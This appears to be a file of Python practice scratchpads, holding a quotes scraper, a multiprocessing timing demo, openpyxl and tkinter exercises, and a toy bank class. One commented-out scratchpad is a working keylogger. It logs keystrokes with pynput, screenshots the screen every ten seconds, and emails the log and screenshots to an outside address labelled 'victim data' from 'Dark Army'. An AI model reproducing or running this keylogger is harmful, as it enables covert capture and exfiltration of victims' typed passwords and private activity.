    print(f"Now scraping {base_url}{url}")

    soup = BeautifulSoup(response.text, "html.parser")
    quotes = soup.find_all(class_="quote")

    for quote in quotes:
        all_quotes.append(
            {
                "text": quote.find(class_="text").get_text(),
                "author": quote.find(class_="author").get_text(),
            }
        )

    next_btn = soup.find(class_="next")

    if next_btn:
        url = next_btn.find("a")["href"]
    else:
        url = None


print(all_quotes)

Scratchpad #22

# from datetime import datetime
# import threading
# import multiprocessing


# def dummy_func(x):
#     print(f"Job-{x} started: {datetime.now()}")
#     a = []
#     for i in range(30000):
#         for j in range(2000):
#             a.append([i, j])
#             a.clear()
#     print(f"Job-{x} ended: {datetime.now()}")


# if __name__ == "__main__":
#     # start_time = datetime.now()
#     # dummy_func(1)
#     # dummy_func(2)
#     # dummy_func(3)
#     # dummy_func(4)
#     # print(f"Total time taken: {datetime.now() - start_time}")

#     # t1 = threading.Thread(target=dummy_func, args=(1,))
#     # t2 = threading.Thread(target=dummy_func, args=(2,))
#     # t3 = threading.Thread(target=dummy_func, args=(3,))
#     # t4 = threading.Thread(target=dummy_func, args=(4,))

#     # start_time = datetime.now()
#     # t1.start()
#     # t2.start()
#     # t3.start()
#     # t4.start()
#     # t1.join()
#     # t2.join()
#     # t3.join()
#     # t4.join()
#     # print(f"Total time taken: {datetime.now() - start_time}")

#     p1 = multiprocessing.Process(target=dummy_func, args=(1,))
#     p2 = multiprocessing.Process(target=dummy_func, args=(2,))
#     p3 = multiprocessing.Process(target=dummy_func, args=(3,))
#     p4 = multiprocessing.Process(target=dummy_func, args=(4,))

#     start_time = datetime.now()
#     p1.start()
#     p2.start()
#     p3.start()
#     p4.start()
#     p1.join()
#     p2.join()
#     p3.join()
#     p4.join()
#     print(f"Total time taken: {datetime.now() - start_time}")

#  --------------------
# from pynput.keyboard import Key, Listener
# from datetime import datetime
# import pyautogui
# import time
# import yagmail

# count = 0
# keys = []

# try:

#     def on_press(key):
#         global keys, count
#         keys.append(key)
#         count += 1
#         print(f"{key} pressed")
#         if count >= 10:
#             write_file(keys)
#             keys = []

#     def write_file(keys):
#         with open("log.txt", "a") as f:
#             for key in keys:
#                 k = str(key).replace("'", "")

#                 if k.find("space") > 0:
#                     f.write(str(" "))
#                 elif k.find("cap_lock") > 0:
#                     f.write(str("<CAPS_LOCK>"))
#                 elif k.find("enter") > 0:
#                     f.write("\n")
#                 elif k.find("Key") == -1:
#                     f.write(k)

#     def on_release(key):
#         if key == Key.esc:
#             return False

#     def take_screenshot():
#         screen = pyautogui.screenshot()
#         screen.save("screenshot.png")

#     def send_email():
#         receiver_email = ""
#         subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}"
#         yag = yagmail.SMTP("", "")
#         contents = [
#             "<b><font color='red' size='10'>YOUR VICTIM DATA - DARK ARMY</font></b>",
#         ]
#         attachments = [
#             "log.txt",
#             "screenshot.png",
#         ]
#         yag.send(receiver_email, subject, contents, attachments)

#     with Listener(on_press=on_press, on_release=on_release) as listner:
#         while True:
#             time.sleep(10)
#             take_screenshot()
#             send_email()
#         listner.join()

# except KeyboardInterrupt:
#     print("Program closed")

Scratchpad #23

# import openpyxl

# # wb = openpyxl.Workbook()
# # sheet = wb.active

# # sheet.title = "My OpenPyXl Sheet"

# # c1 = sheet.cell(row=1, column=1)
# # c1.value = "First Name"

# # c2 = sheet.cell(row=1, column=2)
# # c2.value = "Last Name"

# # sheet["C1"] = "Phone No."
# # sheet["D1"] = "Email"

# # wb.save("myexcel.xlsx")

# # path = "myexcel.xlsx"
# # wb = openpyxl.load_workbook(path)
# # sheet = wb.active

# # data = [
# #     ["John", "Doe", "123456789", "john@gmail.com"],
# #     ["Jane", "Smith", "123456789", "jane@gmail.com"],
# #     ["Jack", "Roe", "123456789", "jackroe@gmail.com"],
# #     ["Test", "User", "123456789", "testuser@gmail.com"],
# # ]

# # i = 2
# # while i < len(data) + 2:
# #     j = 1
# #     while j < 5:
# #         sheet.cell(row=i, column=j).value = data[i - 2][j - 1]
# #         j += 1
# #     i += 1

# # wb.save(path)
# # print("Task completed")

# import tkinter as tkt
# from tkinter import font

# window = tkt.Tk()

# frame = tkt.Frame()

# app_name = tkt.Label(
#     text="PYTHON TKINTER APP",
#     foreground="yellow",
#     background="black",
#     padx=10,
#     pady=10,
#     font=font.Font(family="Arial", size="30"),
# )

# first_name = tkt.Label(text="First Name", font=font.Font(family="Arial", size="20"))
# first_name_entry = tkt.Entry(
#     text="First Name", font=font.Font(family="Arial", size="20")
# )

# last_name = tkt.Label(text="Last Name", font=font.Font(family="Arial", size="20"))
# last_name_entry = tkt.Entry(text="Last Name", font=font.Font(family="Arial", size="20"))

# submit_btn = tkt.Button(
#     text="Submit Data",
#     foreground="white",
#     background="blue",
#     command=lambda: print(first_name_entry.get(), last_name_entry.get()),
# )

# app_name.pack(fill=tkt.X)
# first_name.pack()
# first_name_entry.pack()
# last_name.pack()
# last_name_entry.pack()
# submit_btn.pack()

# window.mainloop()

# ------------------------------


class Bank:
    def __init__(self, name, initials, phone):
        self.name = name
        self.initials = initials
        self.phone = phone
        self.customers = []

    def __repr__(self):
        return self.name

    def create_customer(self, first_name, last_name, email):
        new_customer = Customer(first_name, last_name, email)
        self.customers.append(new_customer)
        return new_customer

    def find_customer_by_email(self, email):
        for customer in self.customers:
            if customer.email == email:
                return customer
        return None


class Customer:
    def __init__(self, first_name, last_name, email):
        self.first_name = first_name
        self.last_name = last_name
        self.email = email
        self.balance = 0

    def __repr__(self):
        return self.first_name + " " + self.last_name

    def deposit(self, amount):
        self.balance += amount
        print(
            f"Amount of Rs. {amount} was credited to your account. New Balance: Rs. {self.balance}"
        )
        return self.balance

    def withdraw(self, amount):
        if amount > self.balance:
            raise ValueError("Insufficient balance")

        self.balance -= amount
        print(
            f"Amount of Rs. {amount} was debited from your account. Remaining Balance: Rs. {self.balance}"
        )
        return self.balance


sbi = Bank("State Bank Of Italy", initials="SBIT", phone="123456789")

john = sbi.create_customer("John", "Doe", "john@gmail.com")
jack = sbi.create_customer("Jack", "Smith", "jack@gmail.com")
jill = sbi.create_customer("Jill", "Roe", "jill@gmail.com")

# print(sbi.customers)
print(sbi.find_customer_by_email("jack@gmail.com"))